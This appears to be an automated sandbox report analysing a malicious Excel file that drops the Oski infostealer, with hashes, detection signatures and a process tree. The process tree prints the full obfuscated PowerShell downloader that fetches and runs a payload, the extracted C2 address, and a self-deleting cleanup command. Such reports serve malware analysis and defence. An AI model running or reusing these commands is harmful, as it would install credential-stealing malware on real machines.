Analysis
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max time kernel
124s -
max time network
125s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
06/08/2021, 13:54
Static task
static1
Behavioral task
behavioral1
Sample
ORD_210539.xls
Resource
win7v20210408
Behavioral task
behavioral2
Sample
ORD_210539.xls
Resource
win10v20210410
General
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Target
ORD_210539.xls
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Size
43KB
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MD5
bc998900cfb06a407c973873ba745776
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SHA1
232f5703a4744258407157e9f3b06b4c15171ef8
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SHA256
78bbff7297f8be0a95a2c3942c7c8d80bd6d68bc561543ba7c4275eb2e15e649
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SHA512
f80a6648c48ae90d9819cf1297358e1da2503a7a6dfad8398d78bdc9d8c6d02bde409b49ff4033fc70f1512003673c381a052491c431d7ff719abe1ac7b0d473
Malware Config
Extracted
oski
185.212.131.198/ww/
Signatures
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Oski
Oski is an infostealer targeting browser data, crypto wallets.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1652 1832 cmd.exe 24 -
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
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suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
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Downloads MZ/PE file
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Loads dropped DLL 5 IoCs
pid Process 912 lzzn.exe 912 lzzn.exe 912 lzzn.exe 912 lzzn.exe 912 lzzn.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1120 set thread context of 912 1120 lzzn.exe 36 -
Office loads VBA resources, possible macro or embedded object present
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Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString lzzn.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1032 schtasks.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Kills process with taskkill 1 IoCs
pid Process 1648 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1832 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1308 powershell.exe 1308 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1308 powershell.exe Token: SeDebugPrivilege 1648 taskkill.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1832 EXCEL.EXE 1832 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1832 EXCEL.EXE 1832 EXCEL.EXE 1832 EXCEL.EXE -
Suspicious use of WriteProcessMemory 34 IoCs
description pid Process procid_target PID 1832 wrote to memory of 1652 1832 EXCEL.EXE 29 PID 1832 wrote to memory of 1652 1832 EXCEL.EXE 29 PID 1832 wrote to memory of 1652 1832 EXCEL.EXE 29 PID 1832 wrote to memory of 1652 1832 EXCEL.EXE 29 PID 1652 wrote to memory of 1308 1652 cmd.exe 31 PID 1652 wrote to memory of 1308 1652 cmd.exe 31 PID 1652 wrote to memory of 1308 1652 cmd.exe 31 PID 1652 wrote to memory of 1308 1652 cmd.exe 31 PID 1308 wrote to memory of 1120 1308 powershell.exe 33 PID 1308 wrote to memory of 1120 1308 powershell.exe 33 PID 1308 wrote to memory of 1120 1308 powershell.exe 33 PID 1308 wrote to memory of 1120 1308 powershell.exe 33 PID 1120 wrote to memory of 1032 1120 lzzn.exe 34 PID 1120 wrote to memory of 1032 1120 lzzn.exe 34 PID 1120 wrote to memory of 1032 1120 lzzn.exe 34 PID 1120 wrote to memory of 1032 1120 lzzn.exe 34 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 1120 wrote to memory of 912 1120 lzzn.exe 36 PID 912 wrote to memory of 624 912 lzzn.exe 39 PID 912 wrote to memory of 624 912 lzzn.exe 39 PID 912 wrote to memory of 624 912 lzzn.exe 39 PID 912 wrote to memory of 624 912 lzzn.exe 39 PID 624 wrote to memory of 1648 624 cmd.exe 41 PID 624 wrote to memory of 1648 624 cmd.exe 41 PID 624 wrote to memory of 1648 624 cmd.exe 41 PID 624 wrote to memory of 1648 624 cmd.exe 41
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ORD_210539.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c pO^W^Ers^He^LL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOWErsHeLL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1308 -
C:\Users\Admin\AppData\Local\Temp\lzzn.exe"C:\Users\Admin\AppData\Local\Temp\lzzn.exe"4⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BqppCjWADhQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp4116.tmp"5⤵
- Creates scheduled task(s)
PID:1032
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C:\Users\Admin\AppData\Local\Temp\lzzn.exe"C:\Users\Admin\AppData\Local\Temp\lzzn.exe"5⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:912 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 912 & erase C:\Users\Admin\AppData\Local\Temp\lzzn.exe & RD /S /Q C:\\ProgramData\\776240331877263\\* & exit6⤵
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 9127⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1648
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